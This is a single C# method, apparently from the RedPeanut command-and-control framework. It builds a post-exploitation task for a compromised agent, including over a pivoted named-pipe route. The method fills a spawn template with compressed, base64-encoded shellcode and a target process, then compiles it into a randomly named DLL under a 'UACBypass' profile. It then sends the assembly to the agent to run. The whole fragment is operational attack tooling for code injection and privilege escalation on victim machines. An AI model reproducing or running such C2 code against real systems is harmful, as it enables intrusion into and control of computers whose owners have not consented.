private void Run() { try { string host = ((AgentInstanceHttp)agent).GetAddress(); int port = ((AgentInstanceHttp)agent).GetPort(); int profileid = ((AgentInstanceHttp)agent).GetProfileid(); int targetframework = ((AgentInstanceHttp)agent).TargetFramework; string pipename = ""; if (agent.Pivoter != null) { host = agent.Pivoter.SysInfo.Ip; port = 0; profileid = RedPeanutC2.server.GetDefaultProfile(); targetframework = agent.TargetFramework; pipename = agent.AgentId; } else { host = ((AgentInstanceHttp)agent).GetAddress(); port = ((AgentInstanceHttp)agent).GetPort(); profileid = ((AgentInstanceHttp)agent).GetProfileid(); targetframework = agent.TargetFramework; } string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid)) { string source; string binfilepath = Path.Combine(folderrpath, SHELLCODE_FOLDER, filename); source = File.ReadAllText(Path.Combine(folderrpath, SPAWN_TEMPLATE)) .Replace("#NUTCLR#", null) .Replace("#TASK#", null) .Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profileid).Spawn) .Replace("#SHELLCODE#", Convert.ToBase64String(CompressGZipAssembly(File.ReadAllBytes(binfilepath)))) .Replace("#USERNAME#", null) .Replace("#PASSWORD#", null) .Replace("#DOMAIN#", null) .Replace("#PROCESS#", process); string spawnprocess = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework, compprofile: CompilationProfile.UACBypass))); RunAssemblyBase64( spawnprocess, "RedPeanutSpawn", new string[] { " " }, agent); } } catch (Exception) { Console.WriteLine("[*] Error generating task"); } }